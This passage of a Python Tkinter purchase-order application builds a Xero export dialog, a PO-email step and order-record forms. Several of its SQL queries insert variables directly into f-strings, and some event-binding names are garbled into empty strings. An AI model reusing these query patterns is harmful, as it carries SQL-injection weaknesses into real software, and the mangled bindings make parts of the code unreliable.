ExportToXeroCom():\r\n            tkn = RetrieveToken()\r\n            \r\n            ContactDict = XeroSuppliersGetAll()\r\n            ContactDict.pop(None)\r\n            \r\n            ThemesDict = XeroThemesGetAll()\r\n            \r\n            AttentionList = FetchAllEmployees()\r\n            \r\n            AccountCodeDict = XeroAccountCodeGetAll()\r\n            \r\n            TaxRatesDict = XeroTaxRatesGetAll()\r\n            \r\n            \r\n            XeroExportWin = Toplevel()\r\n            XeroExportWin.geometry('880x500')\r\n            XeroExportWin.title(\"Export Purchase Order to Xero\")\r\n                          \r\n            \r\n            \r\n            TopLabel = Label(XeroExportWin, text = \"Confirm Details\", font=(\"Arial\", 12))\r\n            TopLabel.grid(row=0, column=0,columnspan = 2, padx = 10, pady= 5, sticky=W)\r\n            \r\n            PONumberFrame = Frame(XeroExportWin)\r\n            PONumberFrame.grid(row=0, column=3, padx = 10, pady= 5, sticky=E,columnspan = 2)\r\n            \r\n            PONumberLabel = Label(PONumberFrame,text = 'Current PO Number :')\r\n            PONumberLabel.grid(row = 0 , column = 0,sticky = E )\r\n            PONumber = Label(PONumberFrame,text = '',borderwidth = 2, relief = \"sunken\",width = 20,anchor = W)\r\n            PONumber.grid(row = 0 , column = 1,sticky = W)\r\n            \r\n            PONumber['text'] = PurOrderNumRef\r\n            \r\n            def CalendarAppBase(ENTRYwidget):\r\n                calWin = Toplevel()\r\n                calWin.title(\"Select the Date\")\r\n                calWin.geometry(\"270x260\")\r\n                \r\n                cal = Calendar(calWin, selectmode=\"day\", date_pattern=\"y-mm-dd\")\r\n                cal.grid(row=0, column=0, columnspan=3, padx=10, pady=10, sticky=EW)\r\n                \r\n                def confirmDate():\r\n                    val = cal.get_date()\r\n                    ENTRYwidget.config(state=\"normal\")\r\n                    ENTRYwidget.delete(0, END)\r\n                    ENTRYwidget.insert(0, val)\r\n                    ENTRYwidget.config(state=\"readonly\")\r\n                    calWin.destroy()\r\n                \r\n                def emptyDate():\r\n                    ENTRYwidget.config(state=\"normal\")\r\n                    ENTRYwidget.delete(0, END)\r\n                    ENTRYwidget.insert(0,datetime.now().strftime('%Y-%m-%d'))\r\n                    ENTRYwidget.config(state=\"readonly\")\r\n                    calWin.destroy()    \r\n                    \r\n                buttonConfirm = Button(calWin, text=\"Confirm\", command=confirmDate)\r\n                buttonConfirm.grid(row=1, column=0, padx=5, pady=5)\r\n            \r\n                buttonEmpty = Button(calWin, text=\"Reset Date\", command=emptyDate)\r\n                buttonEmpty.grid(row=1, column=1, padx=5, pady=5)\r\n            \r\n                buttonClose = Button(calWin, text=\"Close\", command=calWin.destroy)\r\n                buttonClose.grid(row=1, column=2, padx=5, pady=5)\r\n                \r\n                \r\n            def DelDateCal():\r\n                CalendarAppBase(ShowDelDateEntry) \r\n                          \r\n            def FindKey(Dict,Value):\r\n                TupleDict = list(Dict.items())\r\n                for pair in TupleDict:\r\n                    if pair[1] == Value:\r\n                        return pair[0]\r\n              \r\n            def TaxTally(event):\r\n                TaxRatesKeyList = list(TaxRatesDict.keys())\r\n                TaxRatesKey = FindKey(TaxRatesDict,AccountCodeDict[AccountCodeComb.get()][1])\r\n                TaxRateComb.current(TaxRatesKeyList.index(TaxRatesKey))\r\n\r\n                \r\n            def StrToDate(StrDate):\r\n                year, month, day = map(int, StrDate.split('-'))\r\n                return datetime(year, month, day,12,30)\r\n\r\n            def ExportData():\r\n                curPur = connPur.cursor() \r\n                curPur.execute(f\"SELECT * FROM PUR_ORDER_LIST WHERE PurOrderNum = '{PurOrderNumRef}'\")\r\n                purOrderInfo = curPur.fetchall()\r\n                \r\n                curPur.execute(f\"SELECT * FROM `{PurOrderNumRef}`\")\r\n                purOrderUnit = curPur.fetchall()\r\n                curPur.close()\r\n                line_items=[]\r\n                for i in range(0, len(purOrderUnit)):\r\n                    PartInfo = purOrderUnit[i]\r\n                    line_item = LineItem(description=f\"{i+1}. {PartInfo[1]}\\n{PartInfo[2]}\",\r\n                                         quantity=int(PartInfo[5]),\r\n                                         unit_amount= float(PartInfo[8]),\r\n                                         account_code = AccountCodeDict[AccountCodeComb.get()][0],\r\n                                         tax_type = TaxRatesDict[TaxRateComb.get()],\r\n                                         tax_amount = round(((float(PartInfo[6][:-1])/100)*float(PartInfo[8])),2) if PartInfo[8] else None\r\n                                         )\r\n                    \r\n                    line_items.append(line_item)\r\n                \r\n                PO = PurchaseOrder(line_items = line_items,\r\n                                   purchase_order_number = PurOrderNumRef,\r\n                                   contact = None,\r\n                                   date = StrToDate(ShowDateLabel['text']),\r\n                                   delivery_date = StrToDate(ShowDelDateEntry.get()),\r\n                                   branding_theme_id = ThemesDict[ThemeComb.get()],\r\n                                   reference =ReferenceEntry.get(),\r\n                                   currency_code = CurrencyCode(CurrencyCombo.get()),\r\n                                   currency_rate = 1,\r\n                                   line_amount_types=LineAmountTypes(\"NoTax\" if TaxCombo.get() == 'None' else TaxCombo.get()),\r\n                                   delivery_address = DeliveryAddressText.get(\"1.0\",END),\r\n                                   attention_to = AttentionCombo.get(),\r\n                                   telephone = TelephoneEntry.get(),\r\n                                   delivery_instructions = DeliveryInstText.get(\"1.0\",END)\r\n                                   )\r\n                \r\n                \r\n                POS = PurchaseOrders(purchase_orders = [PO])\r\n                POSDict = serialize(POS)\r\n                POSDict[\"PurchaseOrders\"][0].update({\"Contact\": {\"ContactID\": f\"{ContactDict[ContactCombo.get()]}\"}})\r\n                \r\n                #pp.pprint(POSDict)\r\n                if messagebox.askyesno(title = 'Export Confirmation',message = f\"Confirm Upload PO {PurOrderNumRef}\",parent = XeroExportWin ):\r\n                    \r\n                    json_response = XeroPOPost(POSDict)\r\n                    print(json_response)\r\n                    messagebox.showinfo(title = 'Response Status',message = f\"Status {json_response['PurchaseOrders'][0]['StatusAttributeString']}\" ,parent = XeroExportWin)\r\n                    XeroExportWin.destroy() \r\n                else: \r\n                    messagebox.showerror(title = 'Export Unsuccessful',message = f\"PO {PurOrderNumRef} Not Uploaded\" ,parent = XeroExportWin)\r\n                   \r\n                \r\n            ContactLabel = Label(XeroExportWin, text = 'Choose Contact')\r\n            ContactLabel.grid(row=1, column=0, padx = 10, pady= 3, sticky=W)\r\n            \r\n            ContactCombo = AutocompleteCombobox(XeroExportWin, width=20, )\r\n                                        #value=list(ContactDict.keys()), state=\"readonly\")\r\n            ContactCombo.set_completion_list(completion_list = list(ContactDict.keys()))\r\n            ContactCombo.current(0) if ContactCombo['value'] else None\r\n            ContactCombo.grid(row=2, column=0, padx = 10, pady= 3, sticky=W)\r\n        \r\n            DateLabel = Label(XeroExportWin, text = 'Date')\r\n            DateLabel.grid(row=1, column=1, padx = 10, pady= 3, sticky=W)\r\n        \r\n            ShowDateLabel = Label(XeroExportWin,text = datetime.now().strftime('%Y-%m-%d'), \r\n                                  borderwidth = 2, relief = \"sunken\",width = 20,anchor = W)\r\n            ShowDateLabel.grid(row=2, column=1, padx = 10, pady= 3, sticky=W)\r\n        \r\n            DeliveryDateLabel = Label(XeroExportWin, text = 'Delivery Date')\r\n            DeliveryDateLabel.grid(row=1, column=2, padx = 10, pady= 3, sticky=W)\r\n            \r\n            DelDateFrame = Frame(XeroExportWin)\r\n            DelDateFrame.grid(row=2, column=2, padx = 10, pady= 3, sticky=EW)\r\n            \r\n            ShowDelDateEntry = Entry(DelDateFrame,width = 16)\r\n            ShowDelDateEntry.insert(END,datetime.now().strftime('%Y-%m-%d'))\r\n            ShowDelDateEntry.grid(row=0, column=0, padx = 2, sticky=W)\r\n            \r\n            DelDateCalendarButton = Button(DelDateFrame, text=\"Cal\", width=4, \r\n                                             command=DelDateCal)\r\n            \r\n            DelDateCalendarButton.grid(row=0, column=1, sticky=W)\r\n            \r\n            ThemeLabel = Label(XeroExportWin, text = 'Theme')\r\n            ThemeLabel.grid(row=1, column=3, padx = 10, pady= 3, sticky=W)\r\n            \r\n            ThemeComb = ttk.Combobox(XeroExportWin, \r\n                                        value=list(ThemesDict.keys()), state=\"readonly\")\r\n            \r\n            ThemeComb.current(0) if ThemeComb['value'] else None\r\n            \r\n            ThemeComb.grid(row=2, column=3, padx = 10, pady= 3, sticky=EW)\r\n            \r\n            ReferenceLabel = Label(XeroExportWin, text = 'Reference')\r\n            ReferenceLabel.grid(row=1, column=4, padx = 10, pady= 3, sticky=W)\r\n        \r\n            ReferenceEntry = Entry(XeroExportWin,width = 24)\r\n            ReferenceEntry.grid(row=2, column=4, padx = 10, pady= 3, sticky=EW)    \r\n            \r\n            CurrencyLabel = Label(XeroExportWin, text = 'Currency')\r\n            CurrencyLabel.grid(row=3, column=0, padx = 10, pady= 3, sticky=W)\r\n            \r\n            CurrencyCombo = ttk.Combobox(XeroExportWin, width=20, \r\n                                        value=CountryRef.getCcyLst(), state=\"readonly\")\r\n            \r\n            CurrencyCombo.current(0) if CurrencyCombo['value'] else None\r\n            \r\n            CurrencyCombo.grid(row=4, column=0, padx = 10, pady= 3, sticky=W)\r\n            \r\n            TaxLabel = Label(XeroExportWin, text = 'Tax')\r\n            TaxLabel.grid(row=3, column=1, padx = 10, pady= 3, sticky=W)\r\n            \r\n            TaxCombo = ttk.Combobox(XeroExportWin, width=20, \r\n                                        value=['Exclusive','Inclusive','None'], state=\"readonly\")\r\n            \r\n            TaxCombo.current(0) if TaxCombo['value'] else None\r\n            \r\n            TaxCombo.grid(row=4, column=1, padx = 10, pady= 3, sticky=W)\r\n            \r\n            LongFrame = Frame(XeroExportWin)\r\n            LongFrame.grid(row=3, column=2,columnspan = 3,rowspan = 2, sticky=EW)\r\n                        \r\n            AccountCodeLabel = Label(LongFrame, text = 'Account Code')\r\n            AccountCodeLabel.grid(row=0, column=0, padx = 10, pady= 3, sticky=W)\r\n            \r\n            AccountCodeComb = ttk.Combobox(LongFrame,value = list(AccountCodeDict.keys()),width = 35)\r\n            AccountCodeComb.grid(row=1, column=0, padx = 10, pady= 3, sticky=EW)\r\n            AccountCodeComb.current(0)\r\n            AccountCodeComb.bind(\"<>\", TaxTally)\r\n            \r\n            TaxRateLabel = Label(LongFrame, text = 'Tax Rate')\r\n            TaxRateLabel.grid(row=0, column=1, padx = 10, pady= 3, sticky=W)\r\n            \r\n            TaxRateComb = ttk.Combobox(LongFrame,value = list(TaxRatesDict.keys()),width = 38)\r\n            TaxRateComb.grid(row=1, column=1, padx = 10, pady= 3, sticky=EW)\r\n            TaxTally\r\n        \r\n            \r\n            DeliveryAddressLabel = Label(XeroExportWin,text = 'Delivery Address')\r\n            DeliveryAddressLabel.grid(row=5, column=0, padx = 10, pady= 3, sticky=W)\r\n           \r\n                                \r\n            DeliveryAddressText = Text(XeroExportWin,width = 40,height = 8)\r\n            DeliveryAddressText.grid(row=6, column=0, padx = 10,rowspan = 4,columnspan = 2, pady= 3, sticky=W)\r\n            DeliveryAddressText.insert(END,\r\n                                       \"\"\"20 Woodlands Link\\n#09-08(Design & Assembly Center)\\n#07-26(Manufacturing Shop)\\nWoodlands Industrial Estate\\nSingapore 738733\\nCo. Reg No.: 201435019E\\nGST Reg No.: 201435019E\"\"\")\r\n            AttentionLabel = Label(XeroExportWin, text = 'Attention')\r\n            AttentionLabel.grid(row=5, column=2, padx = 10, pady= 3, sticky=NW)\r\n            \r\n            AttentionCombo = ttk.Combobox(XeroExportWin, width=20, \r\n                                        value=AttentionList, state=\"readonly\")\r\n            \r\n            AttentionCombo.current(0) if AttentionCombo['value'] else None\r\n            \r\n            AttentionCombo.grid(row=6, column=2, padx = 10, pady= 3, sticky=NW)\r\n            \r\n            TelephoneLabel = Label(XeroExportWin, text = 'Telephone')\r\n            TelephoneLabel.grid(row=7, column=2, padx = 10, pady= 3, sticky=NW)\r\n        \r\n            TelephoneEntry = Entry(XeroExportWin,width = 23)\r\n            TelephoneEntry.grid(row=8, column=2, padx = 10, pady= 3, sticky=NW)\r\n            \r\n            DeliveryInstLabel = Label(XeroExportWin,text = 'Delivery Instruction')\r\n            DeliveryInstLabel.grid(row=5, column=3, padx = 10, pady= 3,columnspan = 3, sticky=W)\r\n            \r\n            DeliveryInstText = Text(XeroExportWin,width = 42,height = 8)\r\n            DeliveryInstText.grid(row=6, column=3, padx = 10,rowspan = 4,columnspan = 3, pady= 3, sticky=W)\r\n            \r\n            \r\n            CommandFrame = LabelFrame(XeroExportWin,text = 'Command')\r\n            CommandFrame.grid(ipady = 3 , ipadx = 5, row=10, column=0, padx = 10,columnspan = 6, pady= 3, sticky=W )\r\n            \r\n            Button(CommandFrame,text = 'Export',command = ExportData).grid(row = 0 ,column = 0, padx = 10, pady = 5)\r\n            Button(CommandFrame,text = 'Clear Entry').grid(row = 0 ,column = 1, padx = 10, pady = 5)\r\n        \r\n        def IssuePOEmail():\r\n            global LOCKEDUSER\r\n            GeneratePDFOnly()\r\n                        \r\n            curVend = connVend.cursor()\r\n            curVend.execute(f\"SELECT `VENDOR_NAME` FROM VENDOR_LIST WHERE VENDOR_NAME = '{VendorRef}'\")\r\n            vendorInfo = curVend.fetchall()\r\n            curVend.close()\r\n            curPur = connPur.cursor()\r\n            curPur.execute(f\"\"\"SELECT `EMPLOYEE_NAME` FROM `index_emp_master`.`emp_data` WHERE `EMPLOYEE_ID` = '{LOCKEDUSER[0]}' \"\"\")\r\n            res = curPur.fetchall()[0]\r\n            Purchaser = None\r\n            if res:\r\n                \r\n                Purchaser = res[0]\r\n                IssuePO(PONumber = PurOrderNumRef,Purchaser = Purchaser,Vendor = vendorInfo[0][0])\r\n            else:\r\n                messagebox.showerror('ISSUE PO EMAIL','Error while finding user details',root =RepWin )\r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n    \r\n        ButtonRepFrame = LabelFrame(framePur, text=\"Command\")\r\n        ButtonRepFrame.grid(row=2, column=0, padx=(50,10), pady=5, ipadx=10, ipady=5, sticky=W)\r\n        \r\n        DataRepFrame = LabelFrame(framePur, text=\"Data\")\r\n        DataRepFrame.grid(row=3, column=0, padx=(50,10), pady=(0,5), ipadx=10, ipady=5, sticky=W)\r\n        \r\n        # TaxCurrencyFrame = LabelFrame(framePur, text=\"Tax & Currency\")\r\n        # TaxCurrencyFrame.grid(row=3, column=1, padx=(10,75), pady=(0,5), ipadx=10, ipady=5, sticky=W)\r\n        \r\n        buttonSelectThis = Button(ButtonRepFrame, text=\"Select Unit (Top)\", command=selectUnitPur)\r\n        buttonSelectThis.grid(row=0, column=0, padx=10, pady=5, sticky=W)\r\n        \r\n        buttonDeleteThis = Button(ButtonRepFrame, text=\"Delete Unit (Below)\", command=deleteUnitPur)\r\n        buttonDeleteThis.grid(row=0, column=1, padx=10, pady=5, sticky=W)\r\n        \r\n        buttonGenPur = Button(ButtonRepFrame, text=\"Generate Purchase Order\", command=genPurOrder)\r\n        buttonGenPur.grid(row=0, column=3, padx=10, pady=5, sticky=W)\r\n        \r\n        buttonGenPur = Button(ButtonRepFrame, text=\"Issue Purchase Order\", command=IssuePOEmail)\r\n        buttonGenPur.grid(row=0, column=4, padx=10, pady=5, sticky=W)\r\n    \r\n        buttonExportXero = Button(ButtonRepFrame, text=\"Export to Xero\", command=ExportToXero)\r\n        buttonExportXero.grid(row=0, column=5, padx=10, pady=5, sticky=W)\r\n    \r\n        buttonClosePur = Button(ButtonRepFrame, text=\"Close Tab\", command=closeTabPur)\r\n        buttonClosePur.grid(row=0, column=6, padx=10, pady=5, sticky=W)\r\n        \r\n        \r\n        ReqQtyLabel = Label(DataRepFrame, text=\"Req Qty.\")\r\n        ReqQtyBox = Spinbox(DataRepFrame, from_=0, to=100000, width=8)\r\n        UnitCostSelectLabel = Label(DataRepFrame, text=\"Unit Cost\")\r\n        UnitCostSelectBox = Spinbox(DataRepFrame, from_=0, to=100000, increment=0.01, width=8)\r\n        \r\n\r\n        \r\n        TaxLabel = Label(DataRepFrame, text=\"Tax\")\r\n        TaxBox = Spinbox(DataRepFrame, from_=0, to=100, width=5, state=\"readonly\")\r\n        TaxPercentageLabel = Label(DataRepFrame, text=\"%\")\r\n        \r\n        CurrencyLabel = Label(DataRepFrame, text=\"Currency\")\r\n        CurrencyBox = ttk.Combobox(DataRepFrame,\r\n                                   value=CountryRef.getCcyLst(), \r\n                                   width=8, state=\"readonly\")\r\n\r\n        CurrencyBox.current(0)\r\n\r\n        buttonClearData = Button(DataRepFrame, text=\"Clear\", width=8, command=clearUnitData)\r\n        buttonUpdateData = Button(DataRepFrame, text=\"Update\", width=8, command=updateUnitData)\r\n        buttonRefreshData = Button(DataRepFrame, text=\"Refresh\", width=8, command=refreshUnitData)\r\n\r\n        # buttonDefaultCommon = Button(DataRepFrame, text=\"Default\", width=8, command=defaultCommon)\r\n        # buttonUpdateCommon = Button(DataRepFrame, text=\"Update\", width=8, command=updateCommon)\r\n        \r\n        # def CurrencySelect(e):\r\n        #     if CurrencyBox.get() == \"Others\":\r\n        #         CurrencyBox.config(state=\"normal\")\r\n        #         CurrencyBox.delete(0, END)\r\n        #     else:\r\n        #         CurrencyBox.config(state=\"readonly\")\r\n        \r\n        ReqQtyLabel.grid(row=0, column=0, padx=5, pady=5, sticky=E)\r\n        ReqQtyBox.grid(row=0, column=1, padx=5, pady=5, sticky=W)        \r\n        UnitCostSelectLabel.grid(row=0, column=2, padx=5, pady=5, sticky=E)\r\n        UnitCostSelectBox.grid(row=0, column=3, padx=5, pady=5, sticky=W)\r\n\r\n        TaxLabel.grid(row=0, column=4, padx=5, pady=5, sticky=E)\r\n        TaxBox.grid(row=0, column=5, padx=5, pady=5, sticky=E)\r\n        TaxPercentageLabel.grid(row=0, column=6, padx=(0,5), pady=5, sticky=W)\r\n        \r\n        CurrencyLabel.grid(row=0, column=7, padx=5, pady=5, sticky=E)\r\n        CurrencyBox.grid(row=0, column=8, padx=5, pady=5, sticky=E)\r\n        \r\n        buttonClearData.grid(row=0, column=9, padx=(20,5), pady=5, sticky=W)\r\n        buttonUpdateData.grid(row=0, column=10, padx=5, pady=5, sticky=W)\r\n        buttonRefreshData.grid(row=0, column=11, padx=5, pady=5, sticky=W)\r\n        \r\n        # buttonDefaultCommon.grid(row=1, column=4, padx=(20,5), pady=5, sticky=W)\r\n        # buttonUpdateCommon.grid(row=1, column=5, padx=(5,10), pady=5, sticky=W)\r\n\r\n        # CurrencyBox.bind(\"<>\", CurrencySelect)\r\n        \r\n        if ProgressStatRef == 1:\r\n            buttonSelectThis.config(state=\"disabled\")\r\n            buttonDeleteThis.config(state=\"disabled\")\r\n            ReqQtyBox.config(state=\"disabled\")\r\n            UnitCostSelectBox.config(state=\"disabled\")\r\n            TaxBox.config(state=\"disabled\")\r\n            CurrencyBox.config(state=\"disabled\")\r\n            buttonClearData.config(state=\"disabled\")\r\n            buttonUpdateData.config(state=\"disabled\")\r\n            buttonRefreshData.config(state=\"disabled\")\r\n\r\n\r\n\r\n        def TaxBoxClick(e):\r\n            TaxBox.config(state=\"normal\")\r\n        \r\n        def TaxBoxNormal(e):\r\n            TaxBox.config(state=\"readonly\")\r\n        \r\n        TaxBox.bind(\"\", TaxBoxClick)\r\n        TaxBox.bind(\"\", TaxBoxNormal)\r\n\r\n\r\n    \r\n        SelectTreeFrame = Frame(framePur)\r\n        SelectTreeFrame.grid(row=4, column=0, columnspan=2, padx=10, pady=(5,0), ipadx=10, ipady=0, sticky=W+E)\r\n        # SelectTreeFrame.pack()\r\n        \r\n        SelectTreeScroll = Scrollbar(SelectTreeFrame)\r\n        SelectTreeScroll.pack(side=RIGHT, fill=Y)\r\n        \r\n        SelectTreeView = ttk.Treeview(SelectTreeFrame, yscrollcommand=SelectTreeScroll.set, \r\n                                      height=8, selectmode=\"extended\")\r\n        SelectTreeScroll.config(command=SelectTreeView.yview)\r\n        # SelectTreeView.grid(row=2, column=0, columnspan=10, padx=10)\r\n        SelectTreeView.pack(padx=5, pady=5, ipadx=5, ipady=5, fill=\"x\", expand=True)\r\n        \r\n        SelectTreeView[\"columns\"] = (\"Part\", \"Description\", \"Maker\", \"Spec\", \r\n                                     \"REQ\", \"Tax\", \"Vendor\", \"UnitCost\",\r\n                                     \"SGDCost\", \"TransCost\")\r\n        \r\n        # SelectTreeView.column(\"#0\", anchor=CENTER, width=50)\r\n        SelectTreeView.column(\"#0\", width=0 ,stretch=NO)\r\n        SelectTreeView.column(\"Part\", anchor=CENTER, width=135)\r\n        SelectTreeView.column(\"Description\", anchor=W, width=200)\r\n        SelectTreeView.column(\"Maker\", anchor=CENTER, width=140)\r\n        SelectTreeView.column(\"Spec\", anchor=W, width=220)\r\n        SelectTreeView.column(\"REQ\", anchor=CENTER, width=60)\r\n        SelectTreeView.column(\"Tax\", anchor=CENTER, width=60)\r\n        SelectTreeView.column(\"Vendor\", anchor=CENTER, width=120)\r\n        SelectTreeView.column(\"UnitCost\", anchor=CENTER, width=80)\r\n        SelectTreeView.column(\"SGDCost\", anchor=CENTER, width=80)\r\n        SelectTreeView.column(\"TransCost\", anchor=CENTER, width=80)\r\n    \r\n        SelectTreeView.heading(\"#0\", text=\"Index\", anchor=W)\r\n        SelectTreeView.heading(\"Part\", text=\"Part\", anchor=CENTER)\r\n        SelectTreeView.heading(\"Description\", text=\"Description\", anchor=CENTER)\r\n        SelectTreeView.heading(\"Maker\", text=\"Maker\", anchor=CENTER)\r\n        SelectTreeView.heading(\"Spec\", text=\"Maker Specification\", anchor=CENTER)\r\n        SelectTreeView.heading(\"REQ\", text=\"Qty.\", anchor=CENTER)\r\n        SelectTreeView.heading(\"Tax\", text=\"Tax\", anchor=CENTER)\r\n        SelectTreeView.heading(\"Vendor\", text=\"Vendor\", anchor=CENTER)\r\n        SelectTreeView.heading(\"UnitCost\", text=\"Unit Cost\", anchor=CENTER)\r\n        SelectTreeView.heading(\"SGDCost\", text=\"SGD Cost\", anchor=CENTER)\r\n        SelectTreeView.heading(\"TransCost\", text=\"Trans. Cost\", anchor=CENTER)\r\n\r\n        queryTreeSelect()\r\n\r\n        SelectTreeView.bind('', selectUnitData)\r\n        SelectTreeView.bind('', deselectUnitData)\r\n        ValTreeView.bind('', deselectUnitValue)\r\n        \r\n        SelectTreeView.bind('', updateUnitDataClick)\r\n        # DataRepFrame.bind('', updateUnitData)\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    OrderDataFrame = LabelFrame(frameRep, text=\"Record\")\r\n    OrderDataFrame.grid(row=2, column=0, padx=20, pady=5, ipadx=5, ipady=5, sticky=W+E)\r\n    # OrderDataFrame.pack(fill=\"x\", expand=\"yes\", padx=20)\r\n    \r\n    OrderButtonFrame = LabelFrame(frameRep, text=\"Command\")\r\n    OrderButtonFrame.grid(row=3, column=0, padx=20, pady=5, ipadx=5, ipady=5, sticky=W+E)\r\n    # OrderButtonFrame.pack(fill=\"x\", expand=\"yes\", padx=20)\r\n    \r\n    PurOrderNumLabel = Label(OrderDataFrame, text=\"Purchase Order Number\")\r\n    PaymentTermLabel = Label(OrderDataFrame, text=\"Payment Term\")\r\n    OrderDateLabel = Label(OrderDataFrame, text=\"Order Date\")\r\n    VendorRemarkLabel = Label(OrderDataFrame, text=\"Vendor\")\r\n    TransCcyLabel = Label(OrderDataFrame, text=\"Transaction Currency\")\r\n    TransExRateLabel = Label(OrderDataFrame, text=\"Trans. Exchange Rate\")\r\n    ProgressStatLabel = Label(OrderDataFrame, text=\"Completed\")\r\n    ApproveStatLabel = Label(OrderDataFrame, text=\"Approved\")\r\n    IssueStatLabel = Label(OrderDataFrame, text=\"Issued\")\r\n    OrderStatLabel = Label(OrderDataFrame, text=\"Status\")\r\n    TotalSGDLabel = Label(OrderDataFrame, text=\"Total Cost\")\r\n\r\n\r\n\r\n    PurOrderNumBox = Entry(OrderDataFrame, width=20)\r\n    OrderNumGenButton = Button(OrderDataFrame, text=\"Gen\", width=5, command=genOrderNum)\r\n    PaymentTermBox = Entry(OrderDataFrame, width=20, state=\"readonly\")\r\n    PaymentTermButton = Button(OrderDataFrame, text=\"List\", width=5, command=payLstGen)\r\n\r\n    OrderDateBox = Entry(OrderDataFrame, width=20, state=\"readonly\")\r\n    OrderDateCalendarButton = Button(OrderDataFrame, text=\"Cal\", width=5, \r\n                                     command=orderCalPro)\r\n    VendorRemarkBox = Entry(OrderDataFrame, width=20, state=\"readonly\")\r\n    VendorSelectButton = Button(OrderDataFrame, text=\"List\", width=5, command=vendorLstGen)\r\n\r\n    TransCcyBox = ttk.Combobox(OrderDataFrame, value=CountryRef.getCcyLst(), \r\n                               width=10, state=\"readonly\")\r\n    TransExRateBox = Entry(OrderDataFrame, width=12, state=\"readonly\")\r\n    TransSGDLabel = Label(OrderDataFrame, text=\"SGD\")\r\n    \r\n    ProgressStatBox = ttk.Combobox(OrderDataFrame, value=[\"No\", \"Yes\"],\r\n                                   width=10, state=\"readonly\")\r\n    ApproveStatBox = ttk.Combobox(OrderDataFrame, value=[\"No\", \"Yes\", \"Reject\"],\r\n                                  width=10, state=\"readonly\")\r\n    IssueStatBox = ttk.Combobox(OrderDataFrame, value=[\"No\", \"Yes\"],\r\n                                width=10, state=\"readonly\")\r\n    OrderStatBox = Entry(OrderDataFrame, width=20, state=\"readonly\")\r\n    TotalSGDBox = Entry(OrderDataFrame, width=12, state=\"readonly\")\r\n    TotalSGDValLabel = Label(OrderDataFrame, text=\"SGD\")\r\n    \r\n\r\n\r\n    def getTransExRate(e):\r\n        Ccy = TransCcyBox.get()\r\n        if Ccy == \"SGD\":\r\n            TransExRateBox.config(state=\"normal\")\r\n            TransExRateBox.delete(0, END)\r\n            TransExRateBox.insert(0, 1.0)\r\n            TransExRateBox.config(state=\"readonly\")\r\n        elif Ccy in CountryRef.getCcyLst():\r\n            ExRate = CountryRef.getExRate(Ccy)\r\n            TransExRateBox.config(state=\"normal\")\r\n            TransExRateBox.delete(0, END)\r\n            TransExRateBox.insert(0, ExRate)\r\n            TransExRateBox.config(state=\"readonly\")\r\n        else:\r\n            TransExRateBox.config(state=\"normal\")\r\n            TransExRateBox.delete(0, END)\r\n            TransExRateBox.insert(0, 0.0)\r\n            TransExRateBox.config(state=\"readonly\")\r\n\r\n    TransCcyBox.bind(\"<>\", getTransExRate)\r\n\r\n    PurOrderNumLabel.grid(row=0, column=0, padx=10, pady=5, sticky=E)\r\n    PaymentTermLabel.grid(row=1, column=0, padx=10, pady=5, sticky=E)\r\n    OrderDateLabel.grid(row=2, column=0, padx=10, pady=5, sticky=E)\r\n    VendorRemarkLabel.grid(row=3, column=0, padx=10, pady=5, sticky=E)\r\n    \r\n    TransCcyLabel.grid(row=0, column=3, padx=10, pady=5, sticky=E)\r\n    TransExRateLabel.grid(row=1, column=3, padx=10, pady=5, sticky=E)\r\n    \r\n    ProgressStatLabel.grid(row=0, column=6, padx=10, pady=5, sticky=E)\r\n    ApproveStatLabel.grid(row=1, column=6, padx=10, pady=5, sticky=E)\r\n    IssueStatLabel.grid(row=2, column=6, padx=10, pady=5, sticky=E)\r\n    OrderStatLabel.grid(row=3, column=6, padx=10, pady=5, sticky=E)\r\n    TotalSGDLabel.grid(row=2, column=3, padx=10, pady=5, sticky=E)\r\n\r\n\r\n\r\n    PurOrderNumBox.grid(row=0, column=1, padx=10, pady=5, sticky=W)\r\n    OrderNumGenButton.grid(row=0, column=2, padx=(0,10), pady=5, sticky=W)\r\n    \r\n    PaymentTermBox.grid(row=1, column=1, padx=10, pady=5, sticky=W)\r\n    PaymentTermButton.grid(row=1, column=2, padx=(0,10), pady=5, sticky=W)\r\n    \r\n    OrderDateBox.grid(row=2, column=1, padx=10, pady=5, sticky=W)\r\n    OrderDateCalendarButton.grid(row=2, column=2, padx=(0,10), pady=5, sticky=W)\r\n    \r\n    VendorRemarkBox.grid(row=3, column=1, padx=10, pady=5, sticky=W)\r\n    VendorSelectButton.grid(row=3, column=2, padx=(0,10), pady=5, sticky=W)\r\n    # ABOVE GOT 2 columnspan = 4\r\n    \r\n    TransCcyBox.grid(row=0, column=4, columnspan=2, padx=10, pady=5, sticky=W)\r\n    TransExRateBox.grid(row=1, column=4, padx=10, pady=5, sticky=W)\r\n    TransSGDLabel.grid(row=1, column=5, padx=(0,10), pady=5, sticky=W)\r\n    \r\n    ProgressStatBox.grid(row=0, column=7, padx=10, pady=5, sticky=W)\r\n    ApproveStatBox.grid(row=1, column=7, padx=10, pady=5, sticky=W)\r\n    IssueStatBox.grid(row=2, column=7, padx=10, pady=5, sticky=W)\r\n    OrderStatBox.grid(row=3, column=7, padx=10, pady=5, sticky=W)\r\n    \r\n    TotalSGDBox.grid(row=2, column=4, padx=10, pady=5, sticky=W)\r\n    TotalSGDValLabel.grid(row=2, column=5, padx=(0,10), pady=5, sticky=W)\r\n    \r\n    \r\n    TransCcyBox.current(0)\r\n    TransExRateBox.config(state=\"normal\")\r\n    TransExRateBox.delete(0, END)\r\n    TransExRateBox.insert(0, 1.0)\r\n    TransExRateBox.config(state=\"readonly\")\r\n\r\n    ProgressStatBox.current(0)\r\n    ApproveStatBox.current(0)\r\n    IssueStatBox.current(0)\r\n    \r\n    \r\n    \r\n    def ProgressStatSelect(e):\r\n        ProgressVal = ProgressStatBox.current()\r\n        if ProgressVal == 0:\r\n            ApproveStatBox.current(0)\r\n            IssueStatBox.current(0)\r\n        else:\r\n            pass\r\n    \r\n    def ApproveStatSelect(e):\r\n        ProgressVal = ProgressStatBox.current()\r\n        ApproveVal = ApproveStatBox.current()\r\n        if ProgressVal == 0:\r\n            if ApproveVal == 1 or ApproveVal == 2:\r\n                ApproveStatBox.current(0)\r\n                messagebox.showerror(\"Error\",\r\n                                     \"You are NOT ALLOWED to change Approval Status when incomplete\",\r\n                                     parent=RepWin)\r\n            else:\r\n                if ApproveVal == 0:\r\n                    IssueStatBox.current(0)\r\n     